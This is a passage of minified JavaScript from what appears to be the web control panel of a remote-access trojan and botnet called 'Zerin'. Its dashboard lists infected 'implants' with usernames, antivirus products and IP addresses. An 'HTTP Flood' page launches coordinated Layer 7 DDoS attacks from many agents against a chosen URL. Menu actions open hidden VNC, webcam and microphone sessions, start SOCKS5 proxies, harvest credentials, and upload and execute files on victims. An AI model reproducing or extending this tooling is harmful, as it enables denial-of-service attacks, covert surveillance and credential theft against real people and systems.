p.createElement(p.Fragment,null,p.createElement(Fo,{width:i.containerWidth,height:i.containerHeight}),p.createElement("div",ni({ref:l},e)))}),TW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return p.createElement(p.Fragment,null,p.createElement(Fo,{width:n,height:r}),p.createElement("div",ni({ref:t},e)))}),MW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?p.createElement(OW,ni({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?p.createElement(TW,ni({},e,{width:n,height:r,ref:t})):p.createElement(p.Fragment,null,p.createElement(Fo,{width:n,height:r}),p.createElement("div",ni({ref:t},e)))});function LW(e){return e?_W:MW}var IW=p.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:a,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:m,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=p.useRef(null),k=Qe(),[S,N]=p.useState(null),[z,O]=p.useState(null),E=SW(),T=Ax(),P=(T==null?void 0:T.width)>0?T.width:v,U=(T==null?void 0:T.height)>0?T.height:i,K=p.useCallback(C=>{E(C),typeof t=="function"&&t(C),N(C),O(C),C!=null&&(j.current=C)},[E,t,N,O]),$=p.useCallback(C=>{k(f3(C)),k(cn({handler:a,reactEvent:C}))},[k,a]),L=p.useCallback(C=>{k(th(C)),k(cn({handler:u,reactEvent:C}))},[k,u]),F=p.useCallback(C=>{k(q4()),k(cn({handler:d,reactEvent:C}))},[k,d]),W=p.useCallback(C=>{k(th(C)),k(cn({handler:f,reactEvent:C}))},[k,f]),H=p.useCallback(()=>{k(g3())},[k]),B=p.useCallback(C=>{k(v3(C.key))},[k]),q=p.useCallback(C=>{k(cn({handler:o,reactEvent:C}))},[k,o]),X=p.useCallback(C=>{k(cn({handler:l,reactEvent:C}))},[k,l]),se=p.useCallback(C=>{k(cn({handler:c,reactEvent:C}))},[k,c]),ue=p.useCallback(C=>{k(cn({handler:m,reactEvent:C}))},[k,m]),fe=p.useCallback(C=>{k(cn({handler:g,reactEvent:C}))},[k,g]),me=p.useCallback(C=>{w&&k(b3(C)),k(cn({handler:x,reactEvent:C}))},[k,w,x]),Y=p.useCallback(C=>{k(cn({handler:h,reactEvent:C}))},[k,h]),te=LW(b);return p.createElement(hS.Provider,{value:S},p.createElement(ZA.Provider,{value:z},p.createElement(te,{width:P??(y==null?void 0:y.width),height:U??(y==null?void 0:y.height),className:Ve("recharts-wrapper",r),style:zW({position:"relative",cursor:"default",width:P,height:U},y),onClick:$,onContextMenu:q,onDoubleClick:X,onFocus:H,onKeyDown:B,onMouseDown:se,onMouseEnter:L,onMouseLeave:F,onMouseMove:W,onMouseUp:ue,onTouchEnd:Y,onTouchMove:me,onTouchStart:fe,ref:K},p.createElement(AW,null),n)))}),DW=["width","height","responsive","children","className","style","compact","title","desc"];function RW(e,t){if(e==null)return{};var n,r,i=$W(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:a,className:o,style:l,compact:c,title:u,desc:d}=e,f=RW(e,DW),m=hr(f);return c?p.createElement(p.Fragment,null,p.createElement(Fo,{width:n,height:r}),p.createElement(n2,{otherAttributes:m,title:u,desc:d},a)):p.createElement(IW,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},p.createElement(n2,{otherAttributes:m,title:u,desc:d,ref:t},p.createElement(aF,null,a)))});function nh(){return nh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(fW(e))},[t,e]),null}var VW=["layout"];function rh(){return rh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=rn(e,JW);return p.createElement(YW,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:QW,tooltipPayloadSearcher:vS,categoricalChartProps:n,ref:t})}),tU=["axis"],nU=p.forwardRef((e,t)=>p.createElement(WW,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:tU,tooltipPayloadSearcher:vS,categoricalChartProps:e,ref:t}));function rU({agents:e}){const t=p.useMemo(()=>{const i=Date.now(),a=24*60*60*1e3,o=24,l=a/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:m,count:h})}return c},[e]),n=p.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,a=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:a,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=p.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:s.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),s.jsx("div",{style:{height:100},children:s.jsx(dy,{width:"100%",height:"100%",children:s.jsxs(nU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[s.jsx("defs",{children:s.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[s.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),s.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),s.jsx(db,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),s.jsx(d3,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{style:{width:100,height:100},children:s.jsx(dy,{width:"100%",height:"100%",children:s.jsxs(eU,{children:[s.jsx(YS,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,a)=>s.jsx(Ud,{fill:i.color},a))}),s.jsx(db,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),s.jsx("div",{className:"space-y-2",children:n.map(i=>s.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[s.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),s.jsx("span",{className:"text-zerin-text-dim",children:i.name}),s.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function iU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useRef(null),c=p.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=p.useCallback(f=>{t(e.filter(m=>m!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return s.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>s.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r + bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&s.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&s.jsx(s.Fragment,{children:a?s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-all`}):s.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r + text-zerin-text-muted hover:text-zerin-accent\r + border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r + transition-colors`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const aU=["GET","POST","HEAD"],sU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function C3({agentIds:e,agentStatus:t}){const[n,r]=p.useState(""),[i,a]=p.useState(60),[o,l]=p.useState(10),[c,u]=p.useState("GET"),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(!1),[y,v]=p.useState([]),b=t==="dead",w=e.length,j=(N,z)=>{h({text:N,type:z}),setTimeout(()=>h(null),5e3)},k=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const z=(await Promise.allSettled(e.map(E=>Ce(E,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((E,T)=>({agentId:e[T],ok:E.status==="fulfilled",error:E.status==="rejected"?E.reason instanceof Error?E.reason.message:"Failed":void 0}));v(z);const O=z.filter(E=>E.ok).length;g(O>0),O===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${O}/${w} agents (${w-O} failed)`,O>0?"ok":"err")}catch(N){j(N instanceof Error?N.message:"Failed to start","err")}finally{f(!1)}},S=async()=>{f(!0),v([]);try{const z=(await Promise.allSettled(e.map(E=>Ce(E,{command:"ddos_stop"})))).map((E,T)=>({agentId:e[T],ok:E.status==="fulfilled",error:E.status==="rejected"?E.reason instanceof Error?E.reason.message:"Failed":void 0}));v(z),g(!1);const O=z.filter(E=>E.ok).length;j(`Stop sent to ${O}/${w} agent${w!==1?"s":""}`,"ok")}catch(N){j(N instanceof Error?N.message:"Failed to stop","err")}finally{f(!1)}};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&s.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),y.length>1&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(N=>s.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${N.ok?"bg-emerald-400":"bg-red-400"}`}),s.jsx("span",{className:"text-zerin-text-dim",children:N.agentId.slice(0,8)}),s.jsx("span",{className:N.ok?"text-emerald-400":"text-red-400",children:N.ok?"OK":N.error})]},N.agentId))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),s.jsx("input",{type:"text",value:n,onChange:N=>r(N.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),s.jsx("div",{className:"flex gap-2",children:aU.map(N=>s.jsx("button",{onClick:()=>u(N),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${c===N?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:N},N))})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:N=>a(Number(N.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),s.jsx("div",{className:"flex gap-1.5",children:sU.map(N=>s.jsx("button",{onClick:()=>a(N.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${i===N.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:N.label},N.value))})]})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",s.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),s.jsx("input",{type:"range",min:1,max:64,value:o,onChange:N=>l(Number(N.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"1"}),s.jsx("span",{children:"16"}),s.jsx("span",{children:"32"}),s.jsx("span",{children:"48"}),s.jsx("span",{children:"64"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:x?s.jsxs("button",{onClick:S,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):s.jsxs("button",{onClick:k,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-red-500 hover:bg-red-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const s2={alive:0,stale:1,dead:2};function oU(e,t,n){let r=0;switch(n.column){case"status":r=(s2[e.status]??3)-(s2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=po(e.os).localeCompare(po(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const lU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function cU(){const e=Jn(),[t,n]=p.useState([]),[r,i]=p.useState(!0),[a,o]=p.useState(""),[l,c]=p.useState("all"),[u,d]=p.useState({column:"last_seen",direction:"desc"}),[f,m]=p.useState("online"),[h,x]=p.useState({x:0,y:0,visible:!1}),[g,y]=p.useState(null),[v,b]=p.useState(null),[w,j]=p.useState(null),[k,S]=p.useState(null),[N,z]=p.useState(null),[O,E]=p.useState("Zerin"),[T,P]=p.useState(""),[U,K]=p.useState(new Set),[$,L]=p.useState(!1),F=p.useRef(null),W=p.useRef(null),H=p.useRef(null),B=p.useCallback(async()=>{try{const D=await Hj();n(D),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);p.useEffect(()=>{B()},[B]);const{lastMessage:q}=p.useContext(Gu);p.useEffect(()=>{if(q&&q.type==="agent_update"){const D=q.payload;n(re=>{const _=re.findIndex(ee=>ee.id===D.id);if(_>=0){const ee=[...re];return ee[_]=D,ee}return[D,...re]}),b(re=>re&&re.id===D.id?D:re)}},[q]),p.useEffect(()=>{const D=setInterval(B,15e3);return()=>clearInterval(D)},[B]),p.useEffect(()=>()=>{F.current&&clearTimeout(F.current)},[]);const X={total:t.length,alive:t.filter(D=>D.status==="alive").length,stale:t.filter(D=>D.status==="stale").length,dead:t.filter(D=>D.status==="dead").length},se=f==="online"?t.filter(D=>D.status==="alive"||D.status==="stale"):t.filter(D=>D.status==="dead"),fe=[...l==="all"?se:se.filter(D=>D.status===l)].sort((D,re)=>oU(D,re,u)),me=t.filter(D=>D.status==="alive"||D.status==="stale").length,Y=t.filter(D=>D.status==="dead").length;function te(D){d(re=>({column:D,direction:re.column===D&&re.direction==="asc"?"desc":"asc"}))}function C(D){c(re=>re===D&&D!=="all"?"all":D)}function A(D){if(F.current){clearTimeout(F.current),F.current=null,e(`/agents/${D.id}`);return}F.current=setTimeout(()=>{F.current=null,b(D)},250)}function Z(D,re){D.preventDefault(),y(re),x({x:D.clientX,y:D.clientY,visible:!0})}function R(D,re){var oe;if(!g)return;const _=g.id,ee=g.hostname,V=re==null?void 0:re.action,J=re==null?void 0:re.tab;if(x(I=>({...I,visible:!1})),y(null),V==="chat"){j(g);return}if(V==="confirm"){S({command:D,agentId:_,hostname:ee});return}if(V==="msgbox"){z({agentId:_,hostname:ee}),E("Zerin"),P("");return}if(V==="vnc"){ax(_).then(()=>{const I=Ze(),G=window.open(`/vnc/${_}`,`vnc-${_}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(G&&I){const ie=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(G.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",ie))};window.addEventListener("message",ie)}}).catch(()=>o("Failed to start VNC"));return}if(V==="hvnc"){qj(_).then(()=>{const I=Ze(),G=window.open(`/vnc/${_}?mode=hvnc`,`hvnc-${_}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(G&&I){const ie=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(G.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",ie))};window.addEventListener("message",ie)}}).catch(()=>o("Failed to start hVNC"));return}if(V==="webcam"){Yj(_).then(()=>{const I=Ze(),G=window.open(`/webcam/${_}`,`webcam-${_}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(G&&I){const ie=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(G.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",ie))};window.addEventListener("message",ie)}}).catch(()=>o("Failed to start webcam"));return}if(V==="mic"){Gj(_).then(()=>{const I=Ze(),G=window.open(`/mic/${_}`,`mic-${_}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(G&&I){const ie=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(G.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",ie))};window.addEventListener("message",ie)}}).catch(()=>o("Failed to start microphone"));return}if(V==="socks5"){Xj(_).then(I=>{alert(`SOCKS5 proxy started on ${I.bind}:${I.port} + +Use: ssh -L ${I.port}:127.0.0.1:${I.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(V==="execute_upload"){H.current=_,(oe=W.current)==null||oe.click();return}if(V==="ban"){const I=t.find(ve=>ve.id===_),G=I==null?void 0:I.banned,ie=G?`Unban agent ${ee} (${_.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${ee} (${_.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(ie))return;(G?yE:gE)(_).then(()=>{n(ve=>ve.map(ge=>ge.id===_?{...ge,banned:!G}:ge))}).catch(()=>o(`Failed to ${G?"unban":"ban"} agent`));return}if(V==="remove"){if(!confirm(`Remove agent ${ee} (${_.slice(0,8)})? This cannot be undone.`))return;Kj(_).then(()=>{n(I=>I.filter(G=>G.id!==_))}).catch(()=>o("Failed to remove agent"));return}(V==="submit"||V==="screenshot")&&D!=="creds"&&Ce(_,{command:D}).catch(I=>{o(`Failed to submit task: ${I instanceof Error?I.message:"unknown error"}`)}),J&&e(`/agents/${_}?tab=${J}${D==="creds"?"&auto=1":""}`)}function ae(){x(D=>({...D,visible:!1})),y(null)}async function pe(D){var J,oe,I;const re=(J=D.target.files)==null?void 0:J[0];if(D.target.value="",!re||!H.current)return;const _=H.current;H.current=null;const ee=re.name,V=`C:\\Windows\\Temp\\${ee}`;try{const G=await re.arrayBuffer(),ie=Array.from(new Uint8Array(G)),{task_id:ne}=await Ce(_,{command:"upload",args:[V],data:ie});let ve=!1;for(let Ne=0;Ne<30;Ne++){await new Promise(Dn=>setTimeout(Dn,2e3));const ye=(oe=(await Tn(_)).results)==null?void 0:oe.find(Dn=>Dn.task_id===ne);if(ye){if(ye.error)throw new Error(ye.error);ve=!0;break}}if(!ve)throw new Error("Upload timed out");const{task_id:ge}=await Ce(_,{command:"execute",args:[V]});for(let Ne=0;Ne<30;Ne++){await new Promise(Dn=>setTimeout(Dn,2e3));const ye=(I=(await Tn(_)).results)==null?void 0:I.find(Dn=>Dn.task_id===ge);if(ye){if(ye.error)throw new Error(ye.error);alert(`Executed ${ee} on agent`);return}}alert(`File uploaded & execute command sent (${ee})`)}catch(G){o(`Execute file failed: ${G instanceof Error?G.message:"unknown error"}`)}}return s.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[s.jsx("input",{ref:W,type:"file",className:"hidden",onChange:pe}),s.jsxs("div",{className:"mb-6",children:[s.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[s.jsx(Ll,{label:"Total",value:X.total,active:l==="all",onClick:()=>C("all")}),s.jsx(Ll,{label:"Alive",value:X.alive,active:l==="alive",onClick:()=>C("alive")}),s.jsx(Ll,{label:"Stale",value:X.stale,active:l==="stale",onClick:()=>C("stale")}),s.jsx(Ll,{label:"Dead",value:X.dead,active:l==="dead",onClick:()=>C("dead")})]}),s.jsx(rU,{agents:t}),s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[s.jsxs("button",{onClick:()=>{m("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:me})]}),f==="online"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),s.jsxs("button",{onClick:()=>{m("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:Y})]}),f==="offline"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&Y>0&&s.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${Y} dead agent(s)? This cannot be undone.`))return;const D=t.filter(re=>re.status==="dead").map(re=>re.id);try{await vE(D),n(re=>re.filter(_=>_.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):a?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:s.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:a}),s.jsxs("button",{onClick:B,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):fe.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:s.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 